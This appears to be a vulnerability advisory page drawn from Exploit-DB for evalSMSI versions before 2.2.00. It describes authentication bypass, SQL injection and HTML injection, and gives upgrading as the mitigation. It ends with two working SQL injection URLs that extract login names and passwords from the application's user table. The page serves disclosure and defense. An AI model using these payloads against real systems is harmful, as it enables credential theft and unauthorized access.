Multiple vulnerabilities in evalSMSI

vendor:

evalSMSI

by:

7.5

CVSS

HIGH

Authentication bypass, SQL Injection, HTML Injection

CWE

Product Name: evalSMSI

Affected Version From:

Affected Version To: evalSMSI 2.2.00

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Multiple vulnerabilities in evalSMSI

Attackers can gain administrative access, execute arbitrary script code in the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Upgrade to evalSMSI 2.2.00 or later.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/38116/info

evalSMSI is prone to multiple vulnerabilities, including an authentication-bypass issue, an SQL-Injection issue, and an HTML-Injection issue.

Attackers can exploit these issues to gain administrative access to the affected application, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Versions prior to evalSMSI 2.2.00 are vulnerable. 

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22